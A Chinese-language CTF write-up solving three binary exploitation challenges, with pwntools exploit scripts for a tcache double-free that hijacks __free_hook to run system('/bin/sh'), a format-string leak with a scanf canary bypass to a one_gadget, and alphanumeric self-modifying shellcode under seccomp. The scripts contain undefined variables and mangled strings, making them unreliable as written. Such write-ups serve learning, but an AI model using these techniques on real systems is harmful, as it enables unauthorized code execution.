题目还是比较有难度和借鉴意义的,可以开拓师傅的思路,大佬勿喷
shop
这道题刚开始leak libc
的时候忽略了libc是2.27,亏沈师傅还能用mollac_hook在本地打通。。。
题目分析
没有开pie,可喜可贺可喜可贺。
和标准的堆题相比,少了edit功能,也就是说必须在add时构造好堆。
看看add函数
可以总结出其结构体
name{
idx;
*name_chunk;
cp_stmt; #这是程序内的一段字符串,可以修改
}
再看看delete函数
that’s good! use after free!看来这道题不是很难了。
同理的view函数
仔细看可以发现一个格式化字符串漏洞,但我觉得这是一个非预期解,故这里还是用传统的堆利用解题。师傅们有兴趣可以对该漏洞进行深入利用。
漏洞利用
第一步,结合name结构题和uaf,控制name->name_chunk
my_add(0x50,"aaaa")
my_add(0x50,"bbbb")
my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并
delete(0) # num=2
delete(1) # num=1
# 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60
payload=p64(0)+p64(e.got["free"])
my_add(0x38,payload) # 获得了两个size=0x40的chunk,并且把name->*name_chunk改为free_got
第二步,我们再利用view功能就能leak libc
p.recvuntil(""name": "")
free_addr=p.recvuntil(""")[:-1].ljust(8,'x00')
free_addr=u64(free_addr)
print "free_addr->"+hex(free_addr)+" done"
offset=free_addr-libc.symbols["free"]
在https://libc.blukat.me
上查询得到libc版本为2.27,那么我们接下来的利用就要考虑tcache了,之前可以假装不知道。
tcache是ubuntu18.04引入的技术,其检查要比传统的堆宽松的多,所以利用起来也比较简单。个人认为在tcache相关的更新还没发布前tcache的利用应该要取代比赛中的入门堆题。
第三步,控制hook或者got表,然getshell
my_add("4", 0x50)
my_add("5", 0x50) #清空tcache
my_add("6", 0x68)
my_add("/bin/shx00", 0x68) #7
my_add("/bin/shx00", 0x38)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
delete(6)
delete(6) #厉害吧,连续两次delete同一个chunk,程序没有报错
delete(8) #防止size为0x40的chunk用完
my_add(p64(offset+e.symbols["__free_hook"]), 0x68)
my_add("consume", 0x68)
my_add(p64(e.got["system"]+offset), 0x68)
#fastbin dup的正常操作,但是tcache就是能不构造fake_chunk直接分配,简直爽到
delete(8) #为free_hook传入"/bin/shx00"参数,调用system() getshell
最后附上完整的exp
from pwn import *
g_local=True
context.log_level='debug'
p = ELF('./challenge')
e = ELF("./libc6_2.27.so")
if g_local:
p = process('./challenge')#env={'LD_PRELOAD':'./libc.so.6'}
ONE_GADGET_OFF = 0x4526a
UNSORTED_OFF = 0x3c4b78
gdb.attach(sh)
else:
ONE_GADGET_OFF = 0x4526a
UNSORTED_OFF = 0x3c4b78
p = remote("pwn.ctf.nullcon.net", 4002)
#ONE_GADGET_OFF = 0x4557a
def my_add(size,name,price=0):
sleep(0.1)
p.sendlineafter("> ","1")
p.sendlineafter("Book name length: ",str(size))
p.sendafter("Book name: ",name)
p.sendlineafter("Book price: ",str(price))
def delete(idx):
p.sendlineafter("> ","2")
p.sendlineafter("Book index: ",str(idx))
def show():
p.sendlineafter("> ","3")
my_add(0x50,"aaaa")
my_add(0x50,"bbbb")
my_add(0x50,"cccc") #num=3 用于防止与top_chunk合并
delete(0) # num=2
delete(1) # num=1
# 这时的tcache中为 size=0x40 size=0x60 size=0x40 size=0x60
payload=p64(0)+p64(e.got["free"])
my_add(0x38,payload) # 获得了两个size=0x40的chunk,并且把name->*name_chunk改为free_got
p.recvuntil(""name": "")
free_addr=p.recvuntil(""")[:-1].ljust(8,'x00')
free_addr=u64(free_addr)
print "free_addr->"+hex(free_addr)+" done"
offset=free_addr-libc.symbols["free"]
my_add("4", 0x50)
my_add("5", 0x50) #清空tcache
my_add("6", 0x68)
my_add("/bin/shx00", 0x68) #7
my_add("/bin/shx00", 0x38)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
my_add("/bin/shx00", 0x68)
delete(6)
delete(6) #厉害吧,连续两次delete同一个chunk,程序没有报错
delete(8) #防止size为0x40的chunk用完
my_add(p64(offset+e.symbols["__free_hook"]), 0x68)
my_add("consume", 0x68)
my_add(p64(e.got["system"]+offset), 0x68)
#fastbin dup的正常操作,但是tcache就是能不构造fake_chunk直接分配,简直爽到
delete(8) #为free_hook传入"/bin/shx00"参数,调用system() getshell
p.interactive()
babypwn
说的babypwn如果不知道scanf的新绕过方法那也做不出来这个的题目的,如果知道那这个题目就是babypwn了。
静态分析
main
首先输入一个才能进入下面的循环,大概的程序就是先师傅name然后再输入how many coins,这里的漏洞有两个一个是格式化字符串一个是栈溢出,因为length可以自己控制输入-1就可以进行一个栈溢出的漏洞了。但是还是不太清楚利用的方法,这里我们往下看保护。
checksec
首先这里又个Full RELRO所以不可能去做一些格式化字符串改got表重复利用漏洞的操作,所以现在就考虑printf用来作为泄漏的操作了。接下来看一下存在canary可能需要进行一个泄漏。
动态分析
这里我的测试输入是y->1->1->12
而12的16进制数就是0xc,因为在printf(即0x4006d0)并没有看见其他什么可泄漏的libc函数,这里就有一个想法就是在这里输入一些got表的地址然后用%s来进行指针的泄漏,所以这里可以试试进行一个地址泄漏,来查询libc和泄漏偏移。
这里我的输入是如上图,这里之所以要输入0是因为int是4位的一个地址是8位不能让后面的地址打乱了我们输入的指针地址。接下来就是我们的效果图了。
这里就可以用他们泄漏出地址。这个技巧还是需要读者不断进行调试然后一步一步得出来的。
problem
这里就存在一个小问题了,这里的printf只能利用一次,而且printf的信息是在程序完成后进行的所以我们是不可能利用他来进行一个canary leak因为到时候就晚了。。所以这里肯定是需要进行重复利用main函数那怎么用尼?
解决
scanf(“%d”,*)的时候如果“-”“+”输入是不会破坏栈里的内容,但是会帮助你的输入到ret的地址。这样就可以帮助我们绕过canary。
思路利用
有了上面的分析这里的利用就比较简单了
一、先利用printf进行几个libc函数的泄漏,查出libc
二、利用scanf函数覆盖ret为main
三、利用scanf函数覆盖ret地址为onegadget
exp
#!/usr/bin/env python
from pwn import *
context.log_level = ‘debug’
p = process(“./challenge”)
a = ELF(“./challenge”)
e = a.libc
main = 0x400806
onegadget = 0x45216
free_got = 0x600FA8
p.sendline(‘y’)
p.sendline(‘%8$s’)
p.sendline(‘-1’)
gdb.attach(p)
p.sendline(str(free_got))
for i in range(25): p.sendline(‘+’)
p.sendline(str(main))
p.sendline(str(0))
p.sendline(‘a’)
p.recvuntil(“Tressure Box: “)
libc_base = u64(p.recv()[:6].ljust(8, ‘x00’))-e.symbols[“free”]
og = libc_base + og_offset
p.sendline(‘y’)
p.sendline(‘AAAA’)
p.sendline(‘-1’)
print hex(og)
for i in range(26): p.sendline(‘+’)
p.sendline(str(og&0xffffffff))
p.sendline(str((og>>32)&0xffffffff)) #因为int只能存4位数字所以需要分两次输入
p.sendline(‘y’)
p.interactive()
Easy-shell
这个题目思路上不是很难但是在构造shellcode上就有一些难度了。
流程分析:
要求输入并且执行输入,所以判断是输入符合条件的shellcode获取flag
限制:
- 长度在 -getpagesize() & (本地获取此值为0x4000)内
- 要求输入为 字母或者数字
ν 源程序检测
ν 对 _ctype_b_loc 函数不太熟悉,使用代码对对应检测做测试
- Shellcode不可执行execve (seccomp)
ν 看到有 prctl 函数 , ida 查看交叉引用 ,发现有一个函数调用了
ν 调用 prctl 的函数在init_array中 , 加载时调用
解决:
- Github上有大佬脚本可以完成 alphanum 的encode 工具
ν 也可以考虑下 msfvenom 的 alpha encoder - Seccomp 下的获取flag shellcode可以参考 pwnable.tw 的 orw , 此处使用shellcraft给出一个shellcode
shellc = shellcraft.amd64.linux.open(“flagx00”)
shellc += shellcraft.amd64.linux.read(“rax”, “rsp”,0x30)
shellc += shellcraft.amd64.linux.write(1 , “rsp” , 0x30)
手动版原理:
自修改shellcode
前提条件: shellcode 所在段 rwx
思路:
当前的限制是:shellcode的字节码只可以使用 字符或者数字组成,那么在shellcode所在段rwx 的前提下,我们可以利用第一组受限制的shellcode执行 read(0 , &shellcode , n) (因为需要调用shellcode (call $xxx) , 所以&shellcode 在寄存器中 ,具体情况具体分析) , 这样子可以读入第二组不受字母数字限制的shellcode覆盖第一组shellcode继续执行
注意点
因为我们需要调用 read , 所以需要使用软终端(int 0x80) 或者 快速系统调用(sysenter | syscall) 来对read进行调用
本题中推荐使用 syscall , 因为syscall 的调用表中 read 的调用号为0 , 较好获取 (int 0x80 的调用表中 read 的调用号为 3 , 在amd64下, inc 和 dec 受限制不可使用 , 数字3较难获取)
需要用 异或 去获取 syscall 的 字节码 | (手动脚本中使用 0x3539 ^ 0x3036 来获得 0x050f (syscall))
函数调用表
总结
国际赛的题目确实很能让人大开眼界。。认识到自己的不足学到新知识,pwn的路上,道阻且长啊!